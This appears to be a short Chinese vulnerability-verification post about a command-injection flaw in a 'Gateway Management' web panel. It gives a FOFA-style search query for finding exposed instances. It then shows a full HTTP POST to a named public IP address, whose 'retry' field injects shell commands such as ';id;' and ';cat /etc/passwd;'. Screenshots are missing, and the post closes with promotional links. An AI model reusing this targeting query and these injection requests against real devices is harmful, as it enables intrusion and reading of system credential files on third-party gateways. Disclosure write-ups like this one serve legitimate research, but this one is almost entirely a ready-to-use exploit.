body=“text ml10 mr20” && (title=“网关管理软件” || title=“Gateway Management”)
在这里插入图片描述

POST /en/9-12ping.php HTTP/1.1
Host: 103.116.76.23:8077
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Connection: close
Cookie: PHPSESSID=6b1a0a5162bfb675cb44f16f707045eb
Upgrade-Insecure-Requests: 1
 
enable_radius=on&enable_auth=on&source_ip=ip&radius_address=127.0.0.1%3A1813&shared_secret=foobar&radius_address2=&shared_secret2=&timeout=3&retry=';id;'&alive=20&save=Save

在这里插入图片描述

enable_radius=on&enable_auth=on&source_ip=ip&radius_address=127.0.0.1%3A1813&shared_secret=foobar&radius_address2=&shared_secret2=&timeout=3&retry=';echo%205678910;'&alive=20&save=Save

在这里插入图片描述

alive=5&enable_auth=on&enable_radius=on&radius_address=127.0.0.1%3A1813&radius_address2=&retry=';cat%20/etc/passwd;'&save=Save  &shared_secret=foobar&shared_secret2=&source_ip=1.1.1.1&timeout=1

在这里插入图片描述
漏洞验证完成;
想看其他内容访问https://www.wlaqsys.com与https://pc.fenchuan8.com/#/index?forum=106431,实验室已完成1200种漏洞验证过程。

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐